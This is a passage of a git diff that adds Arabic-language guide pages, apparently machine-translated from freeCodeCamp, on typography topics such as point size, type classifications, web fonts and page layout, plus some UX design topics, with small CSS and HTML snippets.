+كما ترون ، تحتاج إلى أن تأخذ في الاعتبار الكثير من العوامل لضمان الوضوح والقراءة الأمثل. تذكر ، لا توجد قواعد صارمة وسريعة لأي من العوامل الموضحة أعلاه. فهي مجرد إرشادات قد تساعدك على تدريب عينك المطبعية بشكل أفضل.
+
+### روابط إضافية:
+
+*   [عملي - الطباعة](https://practicaltypography.com) على أساسيات الطباعة.
+*   [تصميم موقع Tutsplus](https://webdesign.tutsplus.com/articles/typographic-readability-and-legibility--webdesign-12211) - مقالة عن [القابلية للقراءة وقابلية](https://webdesign.tutsplus.com/articles/typographic-readability-and-legibility--webdesign-12211) القراءة
+*   [على الطباعة على شبكة الإنترنت](https://abookapart.com/products/on-web-typography) - كتاب عن الطباعة على شبكة الإنترنت.
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/measuring-type/index.md b/client/src/guide/arabic/typography/measuring-type/index.md
new file mode 100644
index 0000000000..919bebd8a9
--- /dev/null
+++ b/client/src/guide/arabic/typography/measuring-type/index.md
@@ -0,0 +1,17 @@
+---
+title: Measuring Type
+localeTitle: نوع القياس
+---
+## نوع القياس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/measuring-type/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+هناك وحدتان من maeusurement لنقاط الخط meausure و picas
+
+النقطة هي 1/72 من البوصة. النقطة هي أيضا اختصار باسم "نقطة"
+
+تحتوي Pica على 12 نقطة ، أقل قليلاً من 1/6 بوصة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/optical-alignment/index.md b/client/src/guide/arabic/typography/optical-alignment/index.md
new file mode 100644
index 0000000000..a65711cbb1
--- /dev/null
+++ b/client/src/guide/arabic/typography/optical-alignment/index.md
@@ -0,0 +1,11 @@
+---
+title: Optical Alignment
+localeTitle: محاذاة بصرية
+---
+## محاذاة بصرية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/optical-alignment/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/page-layout/index.md b/client/src/guide/arabic/typography/page-layout/index.md
new file mode 100644
index 0000000000..525f56dc72
--- /dev/null
+++ b/client/src/guide/arabic/typography/page-layout/index.md
@@ -0,0 +1,35 @@
+---
+title: Page Layout
+localeTitle: تخطيط الصفحة
+---
+## تخطيط الصفحة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/page-layout/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### تخطيط الصفحة:
+
+تخطيط الصفحة هو المصطلح المستخدم لوصف كيفية ظهور كل صفحة من المستند الخاص بك عند طباعته. في أي معالج Word (Microsoft Word ، LibreOffice Writer الخ) ، يتضمن تخطيط الصفحة عناصر مثل الهوامش ، وعدد الأعمدة ، وكيف تظهر الرؤوس والتذييلات ، ومجموعة من الاعتبارات الأخرى. أثناء تصميم صفحاتك ، يمكنك استخدام الأدوات التي يضعها أي معالج Word تحت تصرفك في هذا الصدد. لدينا العديد من الميزات تحت تخطيط الصفحة مثل:
+
+#### اتجاه الصفحة:
+
+توفر معالجات Word خيارين توجيه الصفحات (2): Landscape و Portrait. يعني المنظر الطبيعي أن الصفحة موجهة أفقيًا ، بينما تعني الصورة أن الصفحة موجهة بشكل عمودي.
+
+#### مقاس الصفحه:
+
+بشكل افتراضي ، يكون حجم الصفحة لمستند جديد 8.5 "بنسبة 11". تحتوي معالجات النصوص على مجموعة متنوعة من أحجام الصفحات المحددة مسبقًا للاختيار من بينها: Letter (8.5 "by 11") ، Legal (8.5 "by 14") ، Executive (7.25 "بمقدار 10.5") ، A3 (11.7 "بمقدار 16.5") ، A4 (8.27 "بـ 11.69") ، A5 (5.83 "ب 8.27") ، A6 (4.13 "بـ 5.83") وحجم الصفحة الأخرى.
+
+#### هوامش الصفحة:
+
+الهامش هو المسافة بين النص وحافة المستند. بشكل افتراضي ، يتم تعيين هوامش مستند جديد إلى عادي ، مما يعني أنه يحتوي على مسافة one-ince بين النص وكل حافة (أعلى أو أسفل أو اليسار أو اليمين). يتضمن إعداد هوامش الصفحة الأخرى: ضيق (أعلى: 0.5 "أسفل: 0.5" اليسار: 0.5 "اليمين: 0.5") ، عريض (أعلى: 1 "أسفل: 1" يسار: 2 "يمين: 2") ، متوسط ​​(أعلى: 1 "Bottom: 1" Left: 0.75 "Right: 0.75") and others.
+
+#### ترقيم الصفحات:
+
+تتيح لنا معالجات الكلمات إجراء ترقيم الصفحات في مستندنا إما في الموضع الأعلى أو في الموضع السفلي.كما يمكن أيضًا محاذاة إلى اليسار أو الوسط أو اليمين.
+
+#### رأس وتذييل الصفحة:
+
+هذه هي إحدى ميزات تخطيط الصفحة التي تسمح لنا بإدراج بعض النص إما في مقدمة أو قدم المستند الخاص بنا.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/paragraph-indications/index.md b/client/src/guide/arabic/typography/paragraph-indications/index.md
new file mode 100644
index 0000000000..4c4e6cec05
--- /dev/null
+++ b/client/src/guide/arabic/typography/paragraph-indications/index.md
@@ -0,0 +1,11 @@
+---
+title: Paragraph Indications
+localeTitle: مؤشرات الفقرة
+---
+## مؤشرات الفقرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/paragraph-indications/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/placement/index.md b/client/src/guide/arabic/typography/placement/index.md
new file mode 100644
index 0000000000..a0dca7d29a
--- /dev/null
+++ b/client/src/guide/arabic/typography/placement/index.md
@@ -0,0 +1,11 @@
+---
+title: Placement
+localeTitle: تحديد مستوى
+---
+## تحديد مستوى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/placement/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/point-size/index.md b/client/src/guide/arabic/typography/point-size/index.md
new file mode 100644
index 0000000000..d4f38a624b
--- /dev/null
+++ b/client/src/guide/arabic/typography/point-size/index.md
@@ -0,0 +1,36 @@
+---
+title: Point Size
+localeTitle: حجم النقطة
+---
+## حجم النقطة
+
+حجم النقطة هو وسيلة لإدخال التوحيد إلى الطباعة. حجم النقطة هو أصغر وحدة قياس.
+
+في نوع المعدن ، يشير حجم النقطة إلى ارتفاع الجسم المعدني الذي يتم صب شخصية الخط. في الخطوط الرقمية ، يتم استبدال الجسم المعدني بصندوق غير مرئي يعرف باسم _مربع em_ . كل حرف يناسب داخل مربع em أو مربع em. **حجم em للخط يساوي حجم النقطة.**
+
+ `html{ 
+  font-size:16px; 
+ } 
+ 
+ body{ 
+  font-size:1em;  // 1em is equal to 16px 
+ } 
+` 
+
+كما يتم استخدام حجم النقطة لقياس المسافة بين السطور (خط الطول) وطول الخط وعناصر أخرى ، بغض النظر عن حجم الخط.  
+في الخطوط الرقمية ، **نقطة واحدة تساوي 1/72 من البوصة** . اثنا عشر نقطة تجعل واحدة بيكا. ستة بيكا تجعل بوصة واحدة. الطريقة الشائعة لتمثيل picas والنقاط هي كما يلي:
+
+*   1 pca = 1p
+*   نقطة واحدة = 1 نقطة أو p1
+*   6 بيكا و 3 نقاط = 6p3
+*   7 نقاط مفتوحة بدون نقاط 9 نقاط = 7/9 Open Sans
+
+عادة ما يكون حجم النقطة الأمثل للطباعة بين 10-12 نقطة بينما يكون حجم النقطة الأمثل بين 15 إلى 25 نقطة. في CSS ، يجب عليك تعيين حجم الخط في نظام الإدارة البيئية أو rems بدلاً من وحدات البكسل حيث أن الحجم السابق قابل للتوسع في الطبيعة. في الآونة الأخيرة ، كان هناك الكثير من الحديث عن الطباعة السوائل باستخدام وحدات أدخلت حديثا فولكس فاجن و VH. تعلم المزيد عن ذلك هنا: [الطباعة السوائل](https://www.smashingmagazine.com/2016/05/fluid-typography/)
+
+تذكر أن الخطوط المختلفة التي تم ضبطها بنفس حجم النقطة لن تظهر بنفس الحجم بسبب خصائصها الفردية ، وهي - x-height ، أو تعديل السكتة الدماغية ، أو التباين وعرض الحرف.
+
+#### معلومات اكثر:
+
+*   [حجم نقطة](https://practicaltypography.com/point-size.html) الطباعة العملية
+*   [حجم نقطة](https://en.wikipedia.org/wiki/Point_(typography)) ويكيبيديا
+*   [التفكير مع نوع](http://amzn.to/2yDqGNR) التفكير مع النوع
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/type-classifications/index.md b/client/src/guide/arabic/typography/type-classifications/index.md
new file mode 100644
index 0000000000..a5ee9aa2a3
--- /dev/null
+++ b/client/src/guide/arabic/typography/type-classifications/index.md
@@ -0,0 +1,39 @@
+---
+title: Type Classifications
+localeTitle: تصنيفات التصنيف
+---
+## تصنيفات التصنيف
+
+تقريبا كل الخطوط الموجودة في مجموعة واحدة أو أخرى. هذا النظام من تصنيف الخطوط التي تطورت في القرن التاسع عشر. كل محرف له بنية بصرية خاصة به ، التأثيرات ، النية والأهمية التاريخية.
+
+التصنيف الأساسي للخطوط هو كما يلي:
+
+*   **Serifs** : **تحتوي** هذه الخطوط على ملحقات صغيرة ، والتي تزين البنية الأساسية **لمحرف** . توجد الخطوط الخطية منذ بداية الكتابة. هم مرئيون في الأسلوب القديم و serifs نوع إنساني مثل Garamond. Baskerville ، آخر محرف خطي ينتمي إلى العصر الانتقالي. إن Bodoni و Rockwell جزء من الخطوط الحديثة (Slab) (المصرية).
+    
+*   **Sans-serif** : بلا تعني بدون. هذه الخطوط خالية من تلك الامتدادات الصغيرة ، وبالتالي دون serif. وتشمل الأمثلة GILL sans التي لها دلالات إنسانية ، Helvetica مع خصائصها الانتقالية وهلم جرا.
+    
+*   **النص البرمجي** : نماذج الحروف التي تم تطويرها بالعلاقة الوثيقة مع الكتابة اليدوية البشرية هي محارف البرامج النصية. فهي مرنة بطبيعتها مع عروض السكتة الدماغية المختلفة. مثال: بيسترو سكريبت ، شيلي ، مينسترال الخ
+    
+*   **Blackletter** : أسلوب الكتابة الجريئة للخطوط المستخدمة بكثرة خلال النهضة. مثال: Fraktur
+    
+*   **الديكور** : الخطوط التي لا تتناسب مع الفئات الأخرى هي ذات طابع زخرفي. مصممة لحالات استخدام محددة تتكون بشكل كبير من العناوين الرئيسية والملصقات وما إلى ذلك.
+    
+    بالإضافة إلى ذلك ، هناك ثلاث مجموعات رئيسية لتصنيف النوع المطابق للفترات الزمنية المختلفة في الفن والأدب كما يلي:
+    
+*   تنتمي نماذج الرسائل **الإنسانية** إلى عصر النهضة في القرنين الخامس عشر والسادس عشر. وهي تقلد عن كثب حركة الخط وحركة اليد البشرية. اتبعت serifs القديمة أشكال الرسالة الإنسانية. أمثلة من النوع الإنساني هي: Sabon، Centaur، Adobd Jenson، Gill Sans الخ.
+    
+*   أشكال خطابات **انتقالية** هي جزء من عصر الباروك. وهي تمثل الانتقال من الخطوط الإنسانية النمط القديم إلى الخطوط الحديثة. ومن الأمثلة على ذلك: باسكرفيل ، تايمز رومان ، هلفتيكا الخ.
+    
+*   أشكال الرسائل **الحديثة** ، هي جزء من فترة التنوير من حوالي القرنين الثامن عشر والتاسع عشر. وهي تصور تحولًا جذريًا من الطباعة التقليدية إلى تصميم أكثر تجريدًا. ومن الأمثلة على ذلك: بودوني ، فوتورا الخ
+    
+
+![صورة تصنيف النوع](http://thinkingwithtype.com/images/Thinking_with_Type_Letter_12.gif)
+
+> صورة مأخوذة من النسخة الإلكترونية للكتاب Thinking with Type by Ellen Lupton
+
+#### معلومات اكثر:
+
+*   [اكتب تصنيف](http://www.designishistory.com/1450/type-classification/) تصميم التاريخ
+*   [Vox-Atypl Classification](https://en.wikipedia.org/wiki/Vox-ATypI_classification) Wikipedia
+*   [التفكير بالنوع](http://thinkingwithtype.com/letter/#type-classification)
+*   [تصنيف نوع - سلسلة 6 جزء](http://ilovetypography.com/2007/11/06/type-terminology-humanist-2/) أحب الطباعة
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/type-families/index.md b/client/src/guide/arabic/typography/type-families/index.md
new file mode 100644
index 0000000000..316a7212ad
--- /dev/null
+++ b/client/src/guide/arabic/typography/type-families/index.md
@@ -0,0 +1,33 @@
+---
+title: Type Families
+localeTitle: اكتب العائلات
+---
+## اكتب العائلات
+
+### معلومات عامة
+
+نوع الأسر هي نطاقات من التصاميم محرف. كل عائلة هي شكل مختلف من النمط الأساسي للحروف الأبجدية. هناك المئات أو ربما الآلاف من عائلات محرف.
+
+على غرار المرجعي:
+
+![Helvetica Neue نوع الأسرة](https://upload.wikimedia.org/wikipedia/commons/0/00/Helvetica_Neue_typeface_weights.svg)
+
+### التاريخ
+
+لم تتكون أساطير النموذج من النوع عندما تم ابتكار الخطوط الأولى ، وكانت جميع الخطوط تصاميم رومانية. خلال السنوات الأولى من القرن السادس عشر ، تم إدخال نوع مخطوط. كان يُسمى Cursive أيضًا اسمًا مائلًا ، تم تسميته باسم إيطاليا ، حيث كانت الفكرة شائعة. كان الرومان نمطًا من النوع ، وكان الخط المائل واحدًا ، مثل serif و sans serif ، ولم تكن هناك عائلات محرفة.
+
+### علامات ترقيم
+
+يعطي الترقيم نوعًا من المشاعر ، ويعطي مؤشرات حول وقت التوقف والإبطاء والمزيد.
+
+### هناك سبعة أنواع من أسر الخط
+
+*   موضة قديمة
+*   انتقالي
+*   حديث
+*   بلاطة Serif
+*   بلا الرقيق
+*   زخرفي
+*   برنامج نصي من مخطوطة
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/type-styles/index.md b/client/src/guide/arabic/typography/type-styles/index.md
new file mode 100644
index 0000000000..dea7d763b8
--- /dev/null
+++ b/client/src/guide/arabic/typography/type-styles/index.md
@@ -0,0 +1,11 @@
+---
+title: Type Styles
+localeTitle: اكتب الأنماط
+---
+## اكتب الأنماط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/type-styles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/typeface/index.md b/client/src/guide/arabic/typography/typeface/index.md
new file mode 100644
index 0000000000..2365737390
--- /dev/null
+++ b/client/src/guide/arabic/typography/typeface/index.md
@@ -0,0 +1,23 @@
+---
+title: Typeface
+localeTitle: محرف
+---
+## محرف
+
+في تصميم الويب الحديث ، جاءت كلمة "الخط" لتحديد ما يسمى في الواقع "المحرف" في عالم التصميم الاحترافي. في الواقع ، محرف يعني شيئًا نعرفه كنمط مميز لعائلة الخط: شكل محدد من الحروف (المعروف احترافًا باسم glyphs) ، استنادًا إلى الخطوط المختلفة التي يتم توليدها عن طريق إضافة الخط إلى الخط (غامق ، شبه جريء ، إلخ) أو جعل الحروف مائلة وما إلى ذلك.
+
+لإعطاء مثال بسيط ، تنتمي جميع الخطوط المختلفة الموجودة في الصورة أدناه إلى نفس النوع الذي يطلق عليه "Futura" ولكن التصميم المختلف للأحرف بنفس الأشكال (glyphs) ينتج تأثيرًا مرئيًا مختلفًا لكل خط.
+
+![فوتورا محرف](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2009/10/Futura.gif)
+
+الصورة مجاملة [لموقع Sitepoint.com](https://www.sitepoint.com/typography-concordant-contrasting-conflicting/)
+
+تتضمن أساليب الكتابة الأكثر شيوعًا ما يلي:
+
+*   شريف
+*   أحادي المسافة
+*   النصي
+
+**نصيحة مصمم المبتدئين: في** حين أن خطوط البرامج النصية ، مثل خطوط الفرشاة أو calligrahpy والكتابة اليدوية ، قد تكون حقاً عصرية في تصميم الويب الآن ، يمكن أن يؤدي التوليف السيئ من الخطوط إلى إفساد جماليات جيدة للصفحة. لذلك ، حاول تجنب الاختلاط في خطين مختلفين. في الواقع ، لا تذهب حتى لمدة سنتين! تبدأ مع محرف واحد (أي الخط عائلة) الذي يقدم العديد من الأساليب (الخطوط). سيضمن ذلك أن الخطوط التي تستخدمها ستدمج بشكل جيد. استخدم إصدارًا عريضًا للرؤوس الرئيسية والإصدار الضوئي للنص. عندما تشعر بالأمان مع اختيار المصمم لأنواع الخطوط المتوافقة ، لا تتردد في محاولة مزج أزواج الخط الخاصة بك.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/typographic-hierarchy/index.md b/client/src/guide/arabic/typography/typographic-hierarchy/index.md
new file mode 100644
index 0000000000..779c3bdd23
--- /dev/null
+++ b/client/src/guide/arabic/typography/typographic-hierarchy/index.md
@@ -0,0 +1,26 @@
+---
+title: Typographic Hierarchy
+localeTitle: تسلسل هرمي
+---
+## تسلسل هرمي
+
+ `  A webpage itself has a hierarchy that not only is read, but contains interaction. The page as a whole must be designed in a way that clearly communicates to the user what actions are available and how to easily access the information they seek, how to purchase an item, etc. 
+ 
+  For the purpose of this article, however, we're talking strictly about hierarchy as it applies to type. Luckily for us, we have our own handy HTML tag that lets us semantically establish typographic hierarchy into the websites we build. Heading tags (H tags) allow us to specify an order of importance into our content: H1 through H6, H1 being most important, H6 being least. Search engines use this data to interpret priority of content on a webpage.The H tag can be styled by using the following attributes. 
+` 
+
+\-بحجم هذه هي الطريقة الأسهل والأكثر شيوعًا لإنشاء التسلسل الهرمي.
+
+\-وزن يمكن ببساطة استخدام وزن أكثر جرأة من الخط يساعد على عزل.
+
+\-اللون يلعب اللون دورًا كبيرًا في ما تراه عينانا أساسية وثانوية. بشكل عام؛ الألوان الدافئة البوب ​​، وتراجع الألوان برودة.
+
+\-موضع حيث يتم وضع أقسام المعلومات في علاقة مع بعضها البعض يمكن إنشاء التسلسل الهرمي.
+
+نوع التباين هناك طريقة رائعة لتحقيق التسلسل الهرمي وهي استخدام الخطوط المتناقضة.
+
+تباعد المسائل! واحدة من أهم المفاهيم في نوع التصميم هو التباعد. إنها واحدة من أصعب المفاهيم التي يجب إمساكها للمبتدئين ، ولكنها أيضًا واحدة من أكثر المفاهيم وضوحًا. التباعد المطبوع المناسب أمر حاسم في إنشاء التسلسل الهرمي ؛ يمكن أن تحدث فرقا بين الارتباك والوضوح. يتم استخدامه في معظم الأنظمة الهرمية ، وهو موجود في كافة الأمثلة في هذه المقالة.
+
+#### معلومات اكثر:
+
+يمكنك الرجوع إلى https: //webdesign.tutsplus.com/articles/understanding-typographic-hierarchy--webdesign-11636
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/typographic-measurements/index.md b/client/src/guide/arabic/typography/typographic-measurements/index.md
new file mode 100644
index 0000000000..6537c698dd
--- /dev/null
+++ b/client/src/guide/arabic/typography/typographic-measurements/index.md
@@ -0,0 +1,11 @@
+---
+title: Typographic Measurements
+localeTitle: قياسات مطبعيه
+---
+## قياسات مطبعيه
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/typographic-measurements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/upper-and-lower-case/index.md b/client/src/guide/arabic/typography/upper-and-lower-case/index.md
new file mode 100644
index 0000000000..9bd2e9c98c
--- /dev/null
+++ b/client/src/guide/arabic/typography/upper-and-lower-case/index.md
@@ -0,0 +1,30 @@
+---
+title: Upper and Lower Case
+localeTitle: احرف كبيرة وصغيرة
+---
+## احرف كبيرة وصغيرة
+
+يشار إلى Uppercase (UC) بدلاً من ذلك كأحرف كبيرة و رأس المال. هو محرف من الشخصيات الأكبر. الحرف الصغير (LC) هو محرف من الأحرف الصغيرة. طالما لا يتم الضغط على مفتاح shift ولا يكون مفتاح Caps نشطًا ، فكل شيء مكتوب صغير. الأحرف الكبيرة والصغيرة هي غالباً مرادفة لـ Majuscule و Minuscule.
+
+العديد من اللغات واثنين من تمثيل خطية مختلفة من رسائلهم، **حالة العلوي** **والسفلي الحالة،** التي تعرف أيضا باسم majuscule وأشكال ضئيلة.
+
+غالبًا ما يتم خلط الأحرف العلوية والأحرف الصغيرة في نفس الجزء من النص. يتم تحديد استخدام الحالات من خلال القواعد ، ولكن هناك أيضًا مجموعة متنوعة من [أنماط الحالة](https://en.wikipedia.org/wiki/Letter_case#Case_styles) . أنماط معينة من الحالات شائعة في برمجة الكمبيوتر ، يشار إليها باسم [اصطلاحات التسمية](https://guide.freecodecamp.org/javascript/naming-convention-for-javascript) ، مثل CamelCase و snake\_case.
+
+## الأحرف الكبيرة:
+
+ABCDEFGHIJKLMNOPQRSTU VWXYZ
+
+## أحرف صغيرة:
+
+abcdefghijklmnopqrstu vwxyz
+
+تعد الكتابة بالأحرف الكبيرة مهمة للأسباب التالية:
+
+*   كلمات المرور: كلمات المرور حساسة لحالة الأحرف ، لذلك تضيف الأحرف الكبيرة مستوى إضافيًا من الأمان.
+*   القياسات: عند التعامل مع قياس الكمبيوتر والقياسات الأخرى ، تكون الكتابة بالأحرف الكبيرة مهمة لتحديد النوع الدقيق للقياس. على سبيل المثال ، "Mb" (اختصارًا لـ Megabit) و "MB" (اختصارًا لـ Megabyte) هما نوعان مختلفان من القياسات ذات القيم المختلفة.
+*   الأوامر
+*   أسماء الملفات والدلائل والمسارات.
+
+#### معلومات اكثر:
+
+[أمل الكمبيوتر](https://www.computerhope.com/jargon/u/uppercase.htm) [أمل الكمبيوتر](https://www.computerhope.com/jargon/l/lowercas.htm) [ويكيبيديا](https://en.m.wikipedia.org/wiki/Letter_case)
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/where-to-get-fonts/index.md b/client/src/guide/arabic/typography/where-to-get-fonts/index.md
new file mode 100644
index 0000000000..78d7a0adfd
--- /dev/null
+++ b/client/src/guide/arabic/typography/where-to-get-fonts/index.md
@@ -0,0 +1,64 @@
+---
+title: Where to Get Fonts
+localeTitle: من أين احصل على الخطوط
+---
+## من أين احصل على الخطوط
+
+توفر خدمات الخط عبر الإنترنت مثل Google Fonts أو Font Squirrel طريقة سهلة لاستخدام خطوط مختلفة على موقعك دون الحاجة إلى القلق بشأن ما إذا كان الشخص الذي يعرض موقعك سيتاح الخط على نظامه أم لا.
+
+### الخطوط التي تم تنزيلها
+
+تتيح لك المواقع مثل Font Squirrel تنزيل ملفات الخطوط التي اخترتها. بمجرد الانتهاء من ذلك ، يجب عليك تحميلها على الخادم الذي يستضيف موقع الويب الخاص بك. لاستخدامها ، تحتاج بعد ذلك إلى إعلانها في ورقة أنماط CSS الخاصة بك ، مما يعني إخبار CSS الخاص بك أن تطلب من متصفح المستخدم عرضه. يتم عادةً إعداد خط باستخدام `@font-face` أعلى ورقة أنماط CSS.
+
+ `@font-face { 
+  font-family: "My Super Awesome Open Sans Font"; /* name that you will use later to apply the font */ 
+  src: url("/fontfolder/open-sans.woff"); /* path to the file */ 
+ } 
+ body { 
+  font-family: "My Super Awesome Open Sans Font"; 
+ } 
+` 
+
+لاحظ أنه يمكنك أيضًا تحديد تنسيق الخط وفقًا لتوافق المستعرض كما يلي.
+
+ `@font-face { 
+ font-family: "My Super Awesome Open Sans Font"; 
+ src: url("/fontfolder/open-sans.woff"); format("woff"), 
+ } 
+` 
+
+### جوجل الخطوط
+
+باستخدام Google Fonts ، لن تحتاج إلى تحميل ملفات الخطوط على موقعك ، عليك فقط وضع رابط معين على `head` موقعك.
+
+لاستخدام Google Fonts ، استعرض [الموقع](https://fonts.google.com/) للعثور على الخط الذي يناسب مشروعك. بمجرد اختيارك ، انقر فوق علامة زائد (+) الموجودة بجوار الخط. سيظهر شريط في أسفل الشاشة. انقر عليه. سيتم بعد ذلك منحك عدة أسطر من الشفرة. انسخ والصق سطر HTML في رأس ملف HTML الخاص بك فوق الملف الموجود  جزء. ثم خذ CSS واستخدمه عند الضرورة في ورقة الأنماط.
+
+ `
+<html> 
+  <head> 
+  <link href="https://fonts.googleapis.com/css?family=Inconsolata" rel="stylesheet"> 
+  </head> 
+  <body> 
+  Some text. 
+  </body> 
+ </html> 
+` 
+
+ `body{ 
+  font-family: "Inconsolata", monospace; 
+ } 
+` 
+
+انت انتهيت! لديك بنجاح خطوط جديدة لموقعك.
+
+##### الموارد الإضافية:
+
+*   [جوجل الخطوط](http://fonts.google.com)
+*   [FontSpace](http://www.fontspace.com)
+*   [الخط السنجاب](http://fontsquirrel.com)
+*   [DaFont](http://www.dafont.com)
+*   [1001 الخطوط الحرة](http://www.1001freefonts.com)
+
+#### معلومات اكثر:
+
+*   [نظرة عامة على خطوط الويب من شبكة مطوري موزيلا](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Web_fonts)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/a-b-testing/index.md b/client/src/guide/arabic/user-experience-design/a-b-testing/index.md
new file mode 100644
index 0000000000..e1e490d63c
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/a-b-testing/index.md
@@ -0,0 +1,13 @@
+---
+title: A B Testing
+localeTitle: اختبار B
+---
+## ما هو اختبار AB؟
+
+يقوم اختبار A / B (يُسمى أحيانًا اختبار الانقسام) بمقارنة إصدارين من صفحة الويب أو العنصر لمعرفة أيهما أفضل. أنت تقارن بين صفحات الويب أو العناصر من خلال إظهار المتغيران (دعنا نسميها A و B) إلى زائرين مشابهين في نفس الوقت. الذي يعطي معدل تحويل أفضل ، يفوز!
+
+يرغب كل موقع ويب في تحويل الزوار من زائرين فقط إلى شيء آخر (التحويلات ، أو الاشتراكات ، أو مجرد اتخاذ إجراء لشيء ما). المعدل الذي يكون فيه موقع الويب قادرًا على القيام بذلك هو "معدل التحويل" الخاص به. يقصد بقياس أداء التباين (أ أو ب) قياس المعدل الذي يتم من خلاله تحويل الزوار إلى من يحققون الأهداف. يستخدم علماء البيانات اختبار A / B لمعرفة إصدار (إصدارات) منتجهم إلى الهدف المطلوب بشكل أسرع. في بعض الأحيان ، تدير الشركات الكبيرة المئات أو الآلاف من اختبارات A / B لاتخاذ قرارات بشأن المنتجات. غالبا ما تكون هذه الاختبارات عشوائية وكبيرة ومعمى. هذا يعني أن الموضوع أو المستخدم لا يعرف اختبار A / B.
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات حول اختبار A / B ، يرجى قراءة [الدليل الكامل لاختبار A / B](https://vwo.com/ab-testing/) و [A Refrecher على اختبار أ / ب](https://hbr.org/2017/06/a-refresher-on-ab-testing) . [ما هو اختبار A / B؟](https://www.optimizely.com/ab-testing/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/content-audits/index.md b/client/src/guide/arabic/user-experience-design/content-audits/index.md
new file mode 100644
index 0000000000..1ba4978c1c
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/content-audits/index.md
@@ -0,0 +1,17 @@
+---
+title: Content Audits
+localeTitle: تدقيقات المحتوى
+---
+## تدقيقات المحتوى
+
+يراجع المحتوى مهمته من مرحلة بنية المعلومات ضمن مشروع UX. يعتبر تدقيق المحتوى نشاطًا للتحقق من كل المحتوى على موقع ويب (نسخ ، صور ، فيديو وأي نوع آخر من المحتوى) وتجميعه في قائمة أو ملف كبير. هناك ثلاثة أنواع رئيسية من عمليات التدقيق التي يمكنك تنفيذها:
+
+\-المحتوى الكامل للمخزون: تجميع كامل لكل محتوى على الموقع. قد يشمل ذلك كل عناوين url وكذلك جميع الأصول (مثل الملفات ومقاطع الفيديو القابلة للتحميل).  
+جرد المحتوى الجزئي: قائمة مجموعة فرعية من محتوى الموقع. قد يشتمل مخزون جزئي ، على سبيل المثال ، على أعلى المستويات القليلة من الموقع الهرمي أو خلال الأشهر الستة الأخيرة من المقالات. سيتم تغطية جميع أقسام الموقع.  
+\- نموذج المحتوى: مجموعة أقل تفصيلاً لمحتوى المثال من الموقع.
+
+يعتمد نوع تدقيق المحتوى على طبيعة الطلب ، في الغالب لإعادة تصميم موقع الويب المطلوب للقيام بمخزون كامل للمحتوى ، لصيانة المشروع ، إنه جزء جزئي!
+
+#### معلومات اكثر:
+
+إتقان Ux لديه دليل كبير في عمليات مراجعة المحتوى https://uxmastery.com/how-to-conduct-a-content-audit/
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-design/customer-journey-map/index.md b/client/src/guide/arabic/user-experience-design/customer-journey-map/index.md
new file mode 100644
index 0000000000..5e5e0b14c6
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-design/customer-journey-map/index.md
@@ -0,0 +1,13 @@
+---
+title: Customer Journey Map
+localeTitle: خريطة رحلة العميل
+---
+## خريطة رحلة العميل
+
